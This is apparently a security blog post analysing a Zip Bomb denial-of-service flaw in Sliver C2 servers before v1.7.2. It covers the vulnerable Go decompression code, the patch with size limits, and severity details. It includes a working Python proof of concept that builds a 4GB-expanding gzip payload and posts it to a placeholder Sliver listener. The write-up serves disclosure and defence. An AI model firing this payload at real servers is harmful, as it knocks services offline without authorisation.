Feb 25, 2026·6 min read·5 visits
Sliver C2 servers prior to v1.7.2 are vulnerable to a Zip Bomb attack. An unauthenticated attacker can send a tiny Gzip payload to the HTTP listener, which expands in memory without limits, triggering an Out-of-Memory (OOM) crash and killing the operation.
A high-severity Denial of Service (DoS) vulnerability exists in the BishopFox Sliver C2 framework. The vulnerability, caused by uncontrolled resource consumption in the Gzip decompression logic, allows an unauthenticated attacker to crash the Sliver server by sending a 'Zip Bomb'—a small, highly compressed payload that expands into gigabytes of data in memory.
BishopFox's Sliver is the darling of the modern red team arsenal. As Cobalt Strike licenses get harder to acquire (or crack) and detection signatures proliferate, operators have flocked to this open-source Golang beast. It’s robust, it’s cross-platform, and it handles C2 traffic like a champ. But here's the irony: the very tool used to exploit vulnerabilities in enterprise infrastructure had a gaping hole in its own front door.
This isn't a complex buffer overflow or a heap grooming nightmare. This is a logic flaw as old as the internet itself: the Zip Bomb.
When a C2 server listens for incoming HTTP traffic, it often needs to handle compressed data to keep beacons stealthy and efficient. But what happens when the server blindly trusts that the incoming compressed stream is well-behaved? GHSA-2phg-qgmm-r638 answers that question with a resounding crash. It turns out, you can take down a sophisticated adversary emulation server with a few kilobytes of zeros.
The vulnerability lived in the GzipEncoder component of the HTTP C2 listener. Specifically, the Gzip.Decode method in util/encoders/gzip.go was designed to take an incoming byte slice, spin up a Gzip reader, and spit out the decompressed data.
In Go, the standard library provides excellent tools for this, but they require the developer to implement guardrails. The Sliver code looked something like this:
func (g Gzip) Decode(data []byte) ([]byte, error) {
reader, err := gzip.NewReader(bytes.NewReader(data))
// ... error handling ...
var buf bytes.Buffer
_, err = buf.ReadFrom(reader) // <--- HERE BE DRAGONS
// ...
return buf.Bytes(), nil
}Do you see the problem? buf.ReadFrom(reader) is an eager little beaver. It reads from the source until it hits EOF. It doesn't care if the source is 1KB or 100GB. It just keeps allocating memory to buf to accommodate the decompressed stream.
This is the classic definition of CWE-409 (Improper Handling of Highly Compressed Data). Gzip, utilizing the DEFLATE algorithm, can achieve massive compression ratios on repetitive data (like a stream of null bytes). A 10MB upload can easily become 10GB in RAM. Since Go manages memory automatically, it will happily request more and more from the OS until the OS panics and the OOM (Out Of Memory) Killer assassinates the Sliver process.
The fix, landed in commit 0cf5a47cfdf94b6ab481ec3ea0db09f31654c0f0, is a textbook example of defense-in-depth for IO operations. The developers introduced a LimitedDecoder interface and enforced strict size limits on the output buffer.
Here is the essence of the patch. Instead of reading blindly, they wrapped the reader in io.LimitedReader:
// The Fix: Enforcing limits
limitedReader := &io.LimitedReader{
R: reader,
N: maxLen + 1, // Read one byte past the limit to detect overflow
}
_, err = buf.ReadFrom(limitedReader)
// Check if we hit the limit
if limitedReader.N == 0 {
return nil, fmt.Errorf("gzip decoded payload exceeds %d bytes", maxLen)
}They didn't just slap a hard limit on everything, though. They implemented tiered limits in server/c2/http.go:
DefaultMaxUnauthBodyLength (8MB). This applies to the initial handshake or unknown sessions. If you can't prove who you are, you don't get to allocate more than 8MB of RAM.DefaultMaxBodyLength (2GB). Once a session is established and trusted, the server allows larger payloads (likely for exfiltration or tooling uploads).This change effectively neutralizes the attack vector. An attacker trying to send a zip bomb without a valid session cookie will hit the 8MB wall and get dropped.
Exploiting this is delightfully simple. We don't need shellcode, we don't need ROP chains, and we don't need to bypass ASLR. We just need python and a lot of zeros.
The goal is to create a Gzip payload that is small enough to travel over the network quickly but large enough to exhaust the target server's RAM. A standard recursive "42.zip" isn't necessary here; a single flat stream of zeros compresses incredibly well.
Here is a conceptual Python PoC that would have killed a vulnerable server:
import gzip
import requests
import io
# 1. Create a buffer that expands to 4GB of zeros
# In memory, this is huge. On wire (compressed), it's tiny.
uncompressed_size = 4 * 1024 * 1024 * 1024 # 4GB
# We don't actually need to allocate 4GB in Python to create the zip.
# We can stream it or just compress a chunk of zeros with a high repeat count.
# For simplicity, let's just make a "bomb" string.
# A string of '0' * 1GB compresses to roughly ~1MB.
def generate_bomb():
# Create a dummy stream
buf = io.BytesIO()
with gzip.GzipFile(fileobj=buf, mode='wb') as f:
# Write chunks of zeros
chunk = b'\0' * (1024 * 1024) # 1MB chunk
for _ in range(1024 * 4): # 4096 chunks = 4GB
f.write(chunk)
return buf.getvalue()
payload = generate_bomb()
print(f"Payload size on wire: {len(payload) / 1024 / 1024:.2f} MB")
# 2. Fire it at the Sliver HTTP listener
target = "http://<sliver-ip>:<port>/<any-endpoint>"
headers = {
"Content-Encoding": "gzip",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
}
try:
# The server tries to decompress this 4GB blob into RAM.
requests.post(target, data=payload, headers=headers, timeout=10)
except:
print("Request failed... possibly because the server is dead.")When the Sliver server receives this ~4MB payload, the Gzip.Decode function begins inflating it. The Go runtime asks the OS for 1GB, then 2GB, then 3GB... until the host OS realizes it's out of physical memory and kills the process with the highest consumption: Sliver.
Usually, we talk about the impact on the business. Here, the "business" is a red team operation. If a blue teamer (or a rival threat actor) discovers a Sliver C2 node, they can nuke it instantly.
This is a Denial of Service, but in the context of C2, it's an Operational Kill.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
Sliver BishopFox | < 1.7.2 | 1.7.2 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-409 (Improper Handling of Highly Compressed Data) |
| Attack Vector | Network (HTTP/HTTPS) |
| CVSS | 7.5 (High) |
| Impact | Denial of Service (DoS) |
| Exploit Status | Trivial / PoC Available |
| Authentication | None (Unauthenticated) |